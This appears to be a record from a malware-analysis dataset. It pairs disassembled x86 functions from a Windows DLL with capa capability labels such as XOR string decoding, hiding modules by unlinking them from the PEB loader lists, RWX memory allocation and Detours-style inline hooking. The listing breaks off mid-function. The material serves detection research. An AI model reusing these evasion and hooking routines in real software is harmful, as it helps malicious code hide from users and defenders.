joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10023280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0xb
mov al, 0x65
xor al, byte [ebp - 0x10]
mov bl, 0x67
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x6f
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x7f
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x25
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x10023353
movaps xmm0, xmmword [0x100afb50]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x6b714d77
mov dword [ebp - 0x14], 0x7d787c
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x10023310
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10023353
test esi, esi
jne 0x1002333e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10023360
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1002339e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100233a2
cmp edx, esi
jne 0x10023387
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x100233c2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100233c6
cmp edx, esi
jne 0x100233ab
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x100233e6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100233ea
cmp edx, esi
jne 0x100233cf
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10025d50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009d6ed
mov eax, dword fs:[0]
push eax
sub esp, 0x48
push esi
push edi
mov eax, dword [0x100b7080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [0x100bacf0], eax
test edx, edx
je 0x10025f08
cmp dword [ebp + 0xc], 1
jne 0x10025f08
mov eax, dword [esi + 4]
test eax, eax
je 0x10025ef3
cmp edx, eax
jne 0x10025ef3
cmp byte [0x100bac5b], 0
sete al
xor ecx, ecx
mov byte [0x100bac5b], al
test al, al
je 0x10025de6
movaps xmm0, xmmword [0x100af500]
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x30], 0x46
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x10
jb 0x10025dd0
mov byte [ebp - 0x2f], 0
lea edx, [ebp - 0x3f]
jmp 0x10025e09
movaps xmm0, xmmword [0x100aecc0]
movups xmmword [ebp - 0x54], xmm0
mov byte [ebp - 0x44], 0
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0xf
jb 0x10025df5
mov byte [ebp - 0x44], 0
lea edx, [ebp - 0x53]
mov ecx, edx
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x2c], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10025e23
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.10002570
mov dword [ebp - 4], 0
mov eax, dword [esi]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10025ec4
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10025ec4
cmp dword [ebp - 0x18], 0xf
lea ecx, [ebp - 0x2c]
cmova ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10025e63
sub ecx, edx
mov dword [ebp - 0x10], ecx
lea esi, [ecx + 0x21]
push esi
call fcn.100812b9
push esi
mov edi, eax
push 0
push edi
call fcn.100833b0
cmp dword [ebp - 0x18], 0xf
lea edx, [ebp - 0x2c]
push dword [ebp - 0x10]
cmova edx, dword [ebp - 0x2c]
lea esi, [edi + 0x20]
push edx
push esi
call fcn.10082e30
mov eax, dword [ebp - 0x10]
add esp, 0x1c
mov ecx, dword [ebp - 0x14]
mov dword [edi + 4], esi
mov dword [edi + 0x14], eax
push edi
mov dword [edi + 0x18], 0x1f
call dword [0x100ae5c0]
push edi
call fcn.100812b4
mov esi, dword [ebp - 0x2c]
add esp, 4
mov eax, dword [ebp - 0x18]
cmp eax, 0xf
jbe 0x10025ef3
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x10025ee9
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10025f1d
push ecx
push esi
call fcn.100812a6
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call fcn.1008643f
int3
Function at 0x100261e0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009d71d
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x28], edi
or eax, 0xffffffff
mov dword [ebp - 0x14], 0
mov dword [edi + 0x38], eax
lea ecx, [ebp - 0x34]
mov word [edi + 0x3c], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x28]
movq qword [ebp - 0x1c], xmm0
sub eax, ecx
mov dword [edi + 0x14], 0
mov dword [ebp - 0x20], eax
sar eax, 2
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], 0
mov dword [ebp - 0x34], 0x350
mov dword [ebp - 0x30], 0x140
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], eax
test eax, eax
je 0x100262e7
push eax
lea ecx, [ebp - 0x1c]
call fcn.10024ec0
push dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x34]
push eax
push esi
call fcn.10082e30
mov eax, dword [ebp - 0x24]
add esp, 0xc
lea eax, [esi + eax*4]
mov dword [ebp - 0x18], eax
sub esp, 0xc
mov dword [ebp - 4], 0
mov esi, esp
mov dword [ebp - 0x24], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
sar eax, 2
test eax, eax
je 0x10026343
push eax
mov ecx, esi
call fcn.10024ec0
mov edi, dword [esi]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub esi, eax
push esi
push eax
push edi
call fcn.10082e30
mov ecx, dword [ebp - 0x24]
add esp, 0xc
sar esi, 2
lea eax, [edi + esi*4]
mov edi, dword [ebp - 0x28]
mov dword [ecx + 4], eax
mov ecx, 0xd78d54
call fcn.10018540
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esp, 0xc
mov dword [edi], eax
push 4
push 0x4de1e6
call esi
test eax, eax
jne 0x10026374
mov edx, 0x10028c80
mov ecx, 0x4de1e6
call fcn.1001d050
mov eax, dword [edi]
test eax, eax
je 0x100263dc
push 4
push eax
call esi
test eax, eax
jne 0x100263dc
mov ecx, edi
call fcn.10026410
cmp dword [0x100bad00], 0
jne 0x100263e2
mov eax, dword [edi]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x100263be
push 4
push eax
call esi
test eax, eax
jne 0x100263be
mov eax, dword [ebp - 0x20]
push 4
add eax, 0x64
push eax
call esi
test eax, eax
jne 0x100263be
mov eax, dword [ebp - 0x20]
mov esi, dword [eax]
add esi, 0x64
jmp 0x100263c0
xor esi, esi
mov eax, dword [esi]
push 4
push eax
mov dword [0x100bad00], eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100263e2
mov dword [esi], 0x10028cb0
jmp 0x100263e2
mov dword [edi], 0
lea ecx, [ebp - 0x1c]
call fcn.1000cec0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10081245
mov esp, ebp
pop ebp
ret
Function at 0x10036480
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x100afa50]
push esi
mov esi, ecx
mov dword [esp + 0x18], 0x716b477d
push edi
mov dword [esp + 8], esi
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 0x20], 0x6c796d6c
mov dword [esp + 0x24], 0x767771
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x1a
jb 0x100364b7
xorps xmm0, xmm0
mov byte [esp + 0x27], 0
lea ecx, [esp + 0xd]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100364f0
sub ecx, edx
lea eax, [esp + 0xd]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.10002570
cmp dword [esp + 0x40], 0
mov edi, dword [esi]
mov dword [esp + 0x28], edi
je 0x1003658c
test edi, edi
je 0x1003658c
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1003658c
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x2c], eax
mov esi, dword [eax]
cmp esi, eax
je 0x10036588
cmp esi, dword [edi + 0xc4]
jne 0x10036543
call fcn.1008642f
mov edi, dword [esi + 8]
test edi, edi
je 0x1003656f
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x10036555
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100365bb
mov edi, dword [esp + 0x28]
cmp esi, dword [edi + 0xc4]
jne 0x10036580
call fcn.1008642f
mov esi, dword [esi]
cmp esi, dword [esp + 0x2c]
jne 0x10036536
mov esi, dword [esp + 8]
xor edi, edi
mov ecx, dword [esp + 0x44]
mov dword [esi + 4], edi
cmp ecx, 0xf
jbe 0x100365cb
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100365c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100365ee
jmp 0x100365c1
mov esi, dword [esp + 8]
jmp 0x1003658e
push ecx
push edx
call fcn.100812a6
add esp, 8
mov esi, dword [esi]
test esi, esi
je 0x100365e8
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100365e8
push 0x14
mov ecx, esi
call dword [0x100ae570]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1008643f
int3
Function at 0x1003d050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x100aebf0]
xor edx, edx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x1c], edi
movups xmmword [esp + 0x20], xmm0
nop
mov al, byte [esp + 0x20]
xor byte [esp + edx + 0x21], al
inc edx
cmp edx, 0xe
jb 0x1003d070
xorps xmm0, xmm0
mov byte [esp + 0x2f], 0
lea ecx, [esp + 0x21]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1003d0a2
sub ecx, edx
lea eax, [esp + 0x21]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.10002570
cmp dword [esp + 0x40], 0
mov edi, dword [edi]
mov dword [esp + 0x14], edi
je 0x1003d13a
test edi, edi
je 0x1003d13a
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1003d13a
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x18], eax
mov esi, dword [eax]
cmp esi, eax
je 0x1003d13a
cmp esi, dword [edi + 0xc4]
jne 0x1003d0f5
call fcn.1008642f
mov edi, dword [esi + 8]
test edi, edi
je 0x1003d121
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x1003d107
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x1003d13c
mov edi, dword [esp + 0x14]
cmp esi, dword [edi + 0xc4]
jne 0x1003d132
call fcn.1008642f
mov esi, dword [esi]
cmp esi, dword [esp + 0x18]
jne 0x1003d0e8
xor edi, edi
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x44]
mov dword [eax + 4], edi
cmp ecx, 0xf
jbe 0x1003d175
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003d16b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003d17b
push ecx
push edx
call fcn.100812a6
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1008643f
int3
Function at 0x100401f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x48
movaps xmm0, xmmword [0x100afab0]
xor edx, edx
push esi
push edi
mov edi, ecx
mov byte [esp + 0x2c], 0
mov dword [esp + 0x18], edi
movups xmmword [esp + 0x1c], xmm0
mov al, byte [esp + 0x1c]
xor byte [esp + edx + 0x1d], al
inc edx
cmp edx, 0xf
jb 0x10040214
xorps xmm0, xmm0
mov byte [esp + 0x2c], 0
lea ecx, [esp + 0x1d]
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0
lea edx, [ecx + 1]
mov dword [esp + 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10040246
sub ecx, edx
lea eax, [esp + 0x1d]
push ecx
push eax
lea ecx, [esp + 0x38]
call fcn.10002570
cmp dword [esp + 0x40], 0
mov edi, dword [edi + 4]
mov dword [esp + 0x10], edi
je 0x100402e2
test edi, edi
je 0x100402e2
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100402e2
mov eax, dword [edi + 0xc4]
mov dword [esp + 0x14], eax
mov esi, dword [eax]
cmp esi, eax
je 0x100402e2
nop dword [eax]
cmp esi, dword [edi + 0xc4]
jne 0x1004029d
call fcn.1008642f
mov edi, dword [esi + 8]
test edi, edi
je 0x100402c9
cmp dword [edi + 0x78], 0x10
lea ecx, [edi + 0x64]
jb 0x100402af
mov ecx, dword [ecx]
cmp dword [esp + 0x44], 0xf
lea eax, [esp + 0x30]
cmova eax, dword [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100402e4
mov edi, dword [esp + 0x10]
cmp esi, dword [edi + 0xc4]
jne 0x100402da
call fcn.1008642f
mov esi, dword [esi]
cmp esi, dword [esp + 0x14]
jne 0x10040290
xor edi, edi
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x44]
mov dword [eax], edi
cmp ecx, 0xf
jbe 0x1004031c
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10040312
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10040322
push ecx
push edx
call fcn.100812a6
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.1008643f
int3
Function at 0x1007d0f0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009fe3d
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmova eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.1007cf80
cmp byte [ebp - 0x84], 0
jne 0x1007d241
xor ecx, ecx
lea edx, [ebp - 0x3f]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x18], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x17], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x16], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x15], al
add ecx, 4
cmp ecx, 8
jb 0x1007d185
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100b90f8
call fcn.1007cf80
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.1007cf80
xor ecx, ecx
lea edx, [ebp - 0x37]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x28], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x27], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x26], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x25], al
add ecx, 4
cmp ecx, 0x10
jb 0x1007d1f4
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call fcn.100833b0
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.1007d030
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x1007d27d
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1007d273
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1007d299
push ecx
push edx
call fcn.100812a6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10081245
mov esp, ebp
pop ebp
ret
call fcn.1008643f
int3
Function at 0x1007d2a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100b7080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], edx
mov eax, 5
mov dword [ebp - 0xc], edi
add eax, eax
mov ecx, 0xffffffff
cmovo eax, ecx
push eax
call fcn.1008930f
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
mov ebx, esi
push eax
push 0x40
push 5
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov dword [esi], eax
mov al, byte [ecx + 4]
mov byte [esi + 4], al
add esi, 5
mov eax, ecx
sub eax, esi
mov dword [esi + 1], eax
mov eax, dword [ebp - 0x10]
sub eax, ecx
mov byte [esi], 0xe9
sub eax, 5
mov byte [ecx], 0xe9
mov dword [ecx + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 5
push ecx
call edi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10081245
mov esp, ebp
pop ebp
ret

Function at 0x1007e570
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1007e740
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1007e64d
mov edx, dword [ebp - 4]
cmp edx, dword [0x100b7044]
jb 0x1007e5ba
mov eax, dword [ebp - 4]
cmp eax, dword [0x100b7048]
ja 0x1007e5ba
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1007e58a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100833b0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1007e5df
jmp 0x1007e64d
cmp dword [ebp - 0x14], 0x10000
jne 0x1007e633
cmp dword [ebp - 0x18], 0x10000
jb 0x1007e633
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1007e616
mov eax, dword [ebp - 8]
jmp 0x1007e64f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1007e626
xor eax, eax
jmp 0x1007e64f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1007e648
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1007e740
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1007e58a
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1007e660
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1007e770
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1007e735
mov edx, dword [ebp - 4]
cmp edx, dword [0x100b7044]
jb 0x1007e6a5
mov eax, dword [ebp - 4]
cmp eax, dword [0x100b7048]
ja 0x1007e6a5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1007e675
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.100833b0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1007e6ca
jmp 0x1007e735
cmp dword [ebp - 0x14], 0x10000
jne 0x1007e71e
cmp dword [ebp - 0x18], 0x10000
jb 0x1007e71e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1007e701
mov eax, dword [ebp - 8]
jmp 0x1007e737
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1007e711
xor eax, eax
jmp 0x1007e737
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1007e730
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1007e770
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1007e675
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1007e7a0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1007eb90
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x100b9c5c], 0
jne 0x1007e7dd
cmp dword [0x100b9c58], 0
je 0x1007e7dd
mov eax, dword [0x100b9c58]
mov dword [0x100b9c5c], eax
cmp dword [0x100b9c5c], 0
je 0x1007e85a
mov ecx, dword [0x100b9c5c]
cmp dword [ecx + 8], 0
je 0x1007e85a
mov edx, dword [0x100b9c5c]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1007e85a
mov ecx, dword [0x100b9c5c]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1007e85a
mov eax, dword [0x100b9c5c]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x1007e829
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x1007e830
xor eax, eax
jmp 0x1007e979
mov ecx, dword [0x100b9c5c]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.100833b0
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x1007e979
mov edx, dword [0x100b9c58]
mov dword [0x100b9c5c], edx
jmp 0x1007e876
mov eax, dword [0x100b9c5c]
mov ecx, dword [eax + 4]
mov dword [0x100b9c5c], ecx
cmp dword [0x100b9c5c], 0
je 0x1007e8b6
cmp dword [0x100b9c5c], 0
je 0x1007e8b4
mov edx, dword [0x100b9c5c]
cmp dword [edx + 8], 0
je 0x1007e8b4
mov eax, dword [0x100b9c5c]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x1007e8b4
mov edx, dword [0x100b9c5c]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x1007e8b4
jmp 0x1007e80e
jmp 0x1007e868
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1007e980
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1007e977
mov eax, dword [ebp - 0x18]
mov dword [0x100b9c5c], eax
mov ecx, dword [0x100b9c5c]
mov dword [ecx], 0x52727464
mov edx, dword [0x100b9c5c]
mov dword [edx + 8], 0
mov eax, dword [0x100b9c5c]
mov ecx, dword [0x100b9c58]
mov dword [eax + 4], ecx
mov edx, dword [0x100b9c5c]
mov dword [0x100b9c58], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x100b9c5c]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x1007e947
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
